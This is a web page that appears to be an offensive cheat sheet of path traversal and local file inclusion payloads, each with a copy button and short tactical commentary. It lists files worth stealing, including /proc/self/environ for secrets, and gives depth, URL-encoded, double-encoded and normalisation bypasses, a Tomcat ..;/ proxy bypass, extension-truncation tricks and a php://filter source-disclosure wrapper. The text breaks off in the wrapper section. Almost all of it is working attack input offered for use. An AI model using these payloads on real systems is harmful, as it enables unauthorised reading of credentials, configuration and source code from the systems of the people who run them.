One known file, read once. Don't spray a wordlist yet.
KNOWN-GOOD TARGETS6
Linux
/etc/passwdReadable by everyone, obvious when it works, boring enough to be safe to request.
COPY
Linux
/etc/hostname
COPY
Linux
/proc/self/environEnvironment variables — often where the secrets actually are.
COPY
Linux
/proc/self/cmdline
COPY
Windows
C:\windows\win.ini
COPY
Windows
C:\windows\system32\drivers\etc\hosts
COPY
DEPTH4
../../../etc/passwd
COPY
../../../../../../../../etc/passwdOver-traversing is harmless — the filesystem root absorbs the extra levels.
COPY
....//....//....//etc/passwdDefeats a filter that strips ../ exactly once, non-recursively.
COPY
..././..././etc/passwd
COPY
If you get a 200 with an empty body rather than an error, you may be reading the file successfully into somewhere you can't see. Try /etc/hostname, which is short enough that a length change is obvious.
02Encoding the separator
ENCODED TRAVERSAL5
%2e%2e%2fetc%2fpasswd
COPY
..%2fetc%2fpasswd
COPY
%2e%2e/etc/passwd
COPY
..%252f..%252fetc%252fpasswdDouble-encoded. Only useful once the chain probe told you the decode count is two.
COPY
..%c0%af..%c0%afetc/passwdOverlong UTF-8. Rejected by every current decoder — worth one attempt against old Java or an embedded device, and nothing else.
COPY
PATH NORMALISATION5
/api/..;/adminTomcat strips everything after ; in a path segment, so a proxy rule matching the literal path never fires.
COPY
//etc/passwd
COPY
/./etc/passwd
COPY
/etc/./passwd
COPY
/var/www/../../etc/passwdAbsolute path with a traversal, for when the app prefixes a directory you know.
COPY
Anything that says %c0%af is a live technique is copying a write-up from 2005. The UTF-8 specification requires decoders to reject overlong sequences, and Java, .NET, PHP and Python all do.
03Getting round an appended extension
The app does include($_GET['p'] . '.php') and your filename gets a suffix.
EXTENSION APPENDING6
/etc/passwd%00Null byte truncation. Fixed in PHP 5.3.4 — dead on anything supported, still worth one try on genuinely old stacks.
COPY
/etc/passwd/.
COPY
/etc/passwd/./././././././.
COPY
/etc/passwd?
COPY
/etc/passwd#
COPY
....//....//etc/passwd/././././././././././././././././././././././././././.Path-length truncation. Also long dead, and it needed thousands of characters.
COPY
Almost always the answer here is not to defeat the extension but to accept it and read a .php file with a PHP wrapper instead. See below.
04PHP wrappers
Where inclusion turns into source disclosure or execution.
PHP WRAPPERS6
php://filter/convert.base64-encode/resource=index.phpReturns the file base64-encoded, so the PHP never executes and you get the source. The single most useful payload on this page.